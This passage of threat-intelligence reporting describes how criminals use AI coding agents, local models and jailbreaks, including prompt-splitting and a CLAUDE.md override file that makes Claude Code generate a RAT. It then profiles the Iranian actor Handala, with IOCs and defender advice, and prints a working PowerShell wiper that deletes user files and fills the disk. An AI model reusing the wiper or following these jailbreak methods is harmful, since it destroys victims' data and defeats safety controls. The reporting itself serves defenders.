Operational security (OPSEC) failures by the developer later exposed internal development artifacts that told a different story. These materials revealed that VoidLink was authored by a single developer using TRAE SOLO, the paid tier of ByteDance’s commercial AI-powered IDE. Instead of unstructured prompting, the developer used Spec Driven Development (SDD), a disciplined engineering workflow, to first define the project goals and constraints, and then use an AI agent to generate a comprehensive architecture and development plan across three virtual teams (Core, Arsenal, and Backend). The resulting plan included sprint schedules, feature breakdowns, coding standards, and acceptance criteria, all documented as structured markdown files. The AI agent implemented the framework sprint by sprint, with each sprint producing working, testable code. The developer acted as product owner, directing, reviewing, and refining, while the AI agent did the actual work.
The results were striking. The recovered source code aligned so closely with the specification documents that it left little doubt that the codebase was written to those exact instructions. What normally would have been a 30-week engineering effort across three teams was executed in under a week, producing over 88,000 lines of functional code. VoidLink reached its first functional implant around December 4, 2025, one week after development began.
THIS CASE ESTABLISHES TWO PRINCIPLES:
AI-assisted development now produces operationally viable, deployment-ready malware: it has crossed the threshold from experimental to functional.
The AI involvement was invisible until it was exposed by an unrelated OPSEC failure. For analysts and defenders, this means AI involvement in malware development should be treated as a default working assumption, even when there are no visible indicators
The ramifications of VoidLink’s methodology go beyond this individual case. Its workflow, in which structured markdown specifications direct an AI agent to autonomously implement, test, and iterate, is the same paradigm that defined the agentic AI revolution in legitimate software development throughout 2025. The cyber crime ecosystem is not developing its own AI capability. It is adopting the same tools and architectural patterns as legitimate technology, with the additional goal of trying to overcome the protective limitations built into these systems. This is more important than which model or platform the attackers use.
The same architectural pattern repeatedly appears across the cases highlighted in our report: markdown skill files that transform a coding agent into an autonomous offensive security operator, and configuration files abused to override agent safety controls. In each case, the operative control layer is not code but structured documentation that determines what the AI agents build, how they behave, and what constraints they observe or ignore. This is in direct contrast to the underground forum activity, where the dominant approach remains unstructured prompting.
MODELS: COMMERCIAL, SELF-HOSTED, AND INFORMAL SERVICES
SELF-HOSTED OPEN-SOURCE MODELS
Across cyber crime forums, actors at all skill levels are actively exploring self-hosted, open-source AI models as alternatives to commercial platforms. Their motivations are consistent: to avoid moderation, prevent account bans, and maintain operational privacy.
Users with malware and hacking backgrounds are installing uncensored model variants such as wizardlm-33b-v1.0-uncensored and openhermes-2.5-mistral, and prompt them with comprehensive malicious wishlists spanning ransomware, keyloggers, phishing kits, and exploit code.
Figure 1 – User installing local LLM variants and prompting them to generate malware and fraud tooling.
More established actors are conducting structured cost-benefit analyses, evaluating not only hardware requirements and GPU costs but whether locally hosted models produce reliable output (or hallucinate to the point of being operationally useless), and whether AI-generated malware meets the quality bar of current evasion techniques.
Figure 2 – Threat actor inquiry into hardware, cost, and feasibility of running a fully “unrestricted” locally hosted model.
SELF-HOSTED MODELS: LIMITATIONS IN PRACTICE
Self-hosted models consistently show a gap between aspiration and capability. Community advice on improving local model output focuses on basic optimizations, such as switching to English-language prompts and increasing quantization levels, while references to more advanced techniques such as LoRA fine-tuning remain aspirational rather than operational.
Figure 3 – Community feedback suggesting alternative local models and highlighting token/context limitations of smaller deployments.
Cost estimates range from $5,000 to $50,000 depending on the desired performance, with training timelines of 3–12 months and frank admissions that models “hallucinate a lot” without extensive investment.
Figure 4 – Discussion on cost and requirements for locally hosted unrestricted models.
Most tellingly, an active offensive tools vendor, advertising C2 setups, EDR bypass services, and red team tooling, concluded that local deployment is currently “more of a burden than something productive,” while acknowledging that commercial models remain useful despite increasing restrictions.
Figure 5 – Participants comparing commercial AI systems with alternative models and discussing perceived restriction levels.
COMMERCIAL PLATFORMS AND INFORMAL ACCESS SHARING
Rather than migrating to self-hosted infrastructure, users are comparing what the prevailing workarounds among commercial models provide. Participants recommended specific providers they view as less restrictive, shared experiences with account enforcement on multiple platforms, and refined prompt-splitting techniques to incrementally bypass safeguards, such as requesting explanations before progressing toward executable code.
Figure 6 – Example of the structured prompt-splitting technique suggested to incrementally bypass AI safety restrictions.
Some early signs of informal access sharing have been observed, with operators of local models offering to generate restricted outputs for others on request. However, given the historical precedent of “dark LLM” services that largely failed to deliver on their promises, it remains to be seen whether these will develop into durable service models.
Figure 7 – Community member offering private generation of restricted output via locally hosted model infrastructure.
JAILBREAKING AS ARCHITECTURAL ABUSE
Traditional jailbreaking, the practice of circulating copy‑paste prompts designed to trick models into producing restricted output, is becoming increasingly difficult to utilize. In some forum discussions, users seeking Claude jailbreaks were told that easy public prompts are no longer available, platforms have been cracking down on abusers, dedicated subreddits have been banned, and developing new jailbreaks is costly because the accounts are eventually terminated. Single‑prompt jailbreaking is becoming less attractive as model providers invest in safety enforcement.
Figure 8 – Forum discussion highlighting the declining availability of easy public jailbreak prompts.
ABUSING AGENT ARCHITECTURE
A more significant development is the emergence of jailbreaking techniques that target the architecture of AI agent systems rather than the model’s conversational safeguards. A packaged “Claude Code Jailbreak” distributed on forums illustrates this shift.
Claude Code is designed to read a CLAUDE.md file from a project’s root directory as configuration. Legitimate developers use this mechanism to define the project context, coding standards, and agent behavior. The jailbreak abuses this by placing override instructions in the CLAUDE.md file that suppresses safety controls and redefines the agent’s role. When Claude Code initializes in the directory, it reads these instructions as authoritative project configuration and follows them. The screenshots below claim successful generation of a RAT (Remote Access Trojan) using this method.
Figure 9 – Packaged Claude Code jailbreak exploiting the CLAUDE.md project configuration mechanism.
This is not prompt injection in the traditional sense, but manipulation of the agent’s instruction hierarchy, the same architecture used for agentic AI tools in legitimate development. The CLAUDE. md file occupies the same functional role as VoidLink’s markdown specification files or RAPTOR’s skill definitions: a structured document that determines what the agent does, how it behaves, and what constraints it observes.
FROM DEVELOPMENT TOOL TO OPERATIONAL AGENT
The preceding sections document AI as a development aid (as seen by VoidLink), a resource actors struggle to access on their own terms (self-hosted models), and as a system whose restrictions they attempt to bypass (jailbreaking). Now let’s look at AI deployed as a real-time operational component, performing offensive tasks autonomously within live workflows.
RAPTOR: AGENT-BASED OFFENSIVE ARCHITECTURE VIA MARKDOWN SKILLS
RAPTOR is a legitimate, open-source security research framework created by established security researchers and published on GitHub under an MIT license. It is not malicious tooling. Its significance for threat intelligence lies in its architectural pattern, and that criminal communities are paying attention.
RAPTOR transforms Claude Code into an autonomous offensive security agent through a set of markdown skill files and agent definitions. The framework integrates static analysis, fuzzing, exploit generation, and vulnerability triage into an agentic pipeline orchestrated entirely through structured markdown instructions, with no compiled tooling required. In its most explicit form, it demonstrates what the agentic paradigm makes possible: a set of text files that turn a general‑purpose coding agent into a specialized offensive security operator.
Figure 11 – RAPTOR documentation highlighting offensive security agent capabilities and exploit generation benchmarks across LLM providers.
RAPTOR’s own data provides an additional data point on the commercial versus self-hosted question we discussed earlier. An evaluation of exploit generation across multiple model providers found that commercial frontier models (Anthropic Claude, OpenAI GPT-4, and Google Gemini) consistently produce compilable C code at approximately $0.03 per vulnerability, while locally hosted models via Ollama were marked as “often broken” and unreliable for exploit generation. This reinforces the conclusion reached independently by experienced actors in underground forums: commercial models remain significantly more capable than self-hosted alternatives for operational tasks.
Figure 12 – Forum post sharing RAPTOR as an autonomous offensive and defensive security framework built on Claude Code.
Discussions on criminal forums indicate that threat actors are aware of this architecture. The combination of a proven architectural pattern, open source availability, and documented criminal interest suggests that similar configurations, whether directly based on RAPTOR or just replicating its approach, are likely being developed and tested privately.
AI AS ATTACK SURFACE: ENTERPRISE EXPOSURE
The preceding sections document how threat actors engage with AI as an offensive tool. But the same wave of AI adoption is simultaneously creating exposure from the defensive side. As enterprises integrate generative AI into daily workflows, the volume of sensitive data flowing through these tools introduces a distinct category of risk: instead of AI weaponized against organizations, AI is adopted by organizations in ways that outpace security controls.
In January – February 2026, corporate use of generative AI tools continued to expand at scale. Analysis of GenAI activity across enterprise networks shows that one in every 31 prompts (approximately 3.2%) posed a high risk of sensitive data leakage, including the potential sharing of confidential business information, regulated data, source code, or other sensitive corporate content with external GenAI services.
Critically, this risk is broadly distributed across the enterprise landscape rather than limited to a small number of outliers. High-risk prompt activity impacted 90% of organizations that use GenAI tools on a regular basis, indicating that nearly all GenAI-adopting enterprises encounter meaningful data leakage risk through everyday AI usage. Beyond these clearly high-risk events,16% of prompts contained potentially sensitive information, reflecting a wider pattern of questionable data-handling behavior that can still translate into compliance exposure or IP loss.
Adoption trends further amplify the challenge. Over the last couple of months, organizations used 10 different GenAI tools on average, reflecting multi-tool environments. At the user level, an average employee generated 69 GenAI prompts per month. As prompt volume grows, the possibility of data exposure events scales accordingly, reinforcing the need for security policies, visibility, and real-time prevention controls.
Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS)
Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania
Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously
In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity
Introduction
Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker.
The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware.
As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools.
Background
“Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania.
Figure 1 – Logos of Void Manticore personas (from left to right): Homeland Justice, Handala and Karma.
Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala.
Figure 2 – Operational interconnections of Void Manticore
One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona.
According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026.
Initial Access
Supply Chain Attacks
Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX.
After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses.
Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used.
Activity Before Impact
In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials.
It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52).
The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack.
Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks.
The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website.
By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment.
Wiping Operations
During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network.
Handala Wiper
The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe).
The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss.
Figure 3 – Wiper execution of Handala Wiper
Handala PowerShell Wiper
As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network.
The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance.
$usersFolder = C:\Users
# Ensure the folder exists
if (Test-Path $usersFolder) {
# Get all items in C:\Users, but not the Users folder itself
$items = Get-ChildItem -Path $usersFolder -Recurse
# Remove each item (files and subfolders) inside C:\Users
foreach ($item in $items) {
try {
Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop
} catch {
Write-Host Could not delete: $($item.FullName)
}
}
}
$sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar
$destinationFolder = C:\users
if (!(Test-Path $destinationFolder)) {
New-Item -ItemType Directory -Path $destinationFolder | Out-Null
}
$driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\')
$i = 0
while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) {
Copy-Item $sourceFile $destinationFolder\Handala_$i.gif
$i++
}
Use of Disk Encryption for Destruction
In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful.
Manual Deletion
In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials.
Summary
In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania.
Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat.
Recommendations for Defenders
Enforce multi-factor authentication, especially for remote access and privileged accounts
Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following:
Logins from countries not previously observed for your organization or specific users
Unusual access patterns, including:
First-time logins outside typical hours
Multiple failed logins followed by success
New device registrations
Unusual data transfer volumes during VPN sessions
Authentication from new ASN/hosting providers
Restrict access from high-risk geographies and infrastructure
Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need
Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations
If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges
Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only).
Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours
Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows
IOCs
Type
IOC
Handala Wiper
5986ab04dd6b3d259935249741d3eff2
Handala Powershell Wiper
3cb9dea916432ffb8784ac36d1f2d3cd
VeraCrypt Installer
3236facc7a30df4ba4e57fddfba41ec5
NetBird Installer
3dfb151d082df7937b01e2bb6030fe4a
NetBird
e035c858c1969cffc1a4978b86e90a30
Handala VPS
82.25.35[.]25
Handala VPS
31.57.35[.]223
Handala VPS
107.189.19[.]52
VPN exit node used by Handala
146.185.219[.]235
Starlink IP range used by Handala
188.92.255.X
Starlink IP range used by Handala
209.198.131.X
Commercial VPN IP range used by Handala
149.88.26.X
Commercial VPN IP range used by Handala
169.150.227.X
Handala Machine Names
WIN-P1B7V100IIS
DESKTOP-FK1NPHF
DESKTOP-R1FMLQP
WIN-DS6S0HEU0CA
DESKTOP-T3SOB36
WIN-GPPA5GI4QQJ
VULTR-GUEST
DESKTOP-HU45M79
DESKTOP-TNFP4JF
DESKTOP-14O69KQ
DESKTOP-9KG46L1
DESKTOP-G2MH4KD
WIN-DS6S0HEU0CA
WIN-GPPA5GI4QQJ
MITRE ATT&CK Breakdown
ATT&CK Tactic
Technique
Observed Activity
Initial Access
T1133 – External Remote Services
Use of compromised VPN access for entry into victim environments.
Initial Access
T1078.002 – Valid Accounts: Domain Accounts
Use of stolen/supplied credentials, including Domain Admin credentials.
Initial Access
T1199 – Trusted Relationship
Targeting of IT and service providers.
Credential Access
T1110 – Brute Force
Repeated logon and brute-force attempts against VPN infrastructure.
Credential Access
T1003.001 – OS Credential Dumping: LSASS Memory
LSASS dumping via rundll32 and comsvcs.dll.
Credential Access
T1003.002 – OS Credential Dumping: Security Account Manager
Export of sensitive registry hives for credential extraction.
Discovery
T1087.002 – Account Discovery: Domain Account
ADRecon used to enumerate the Active Directory environment.
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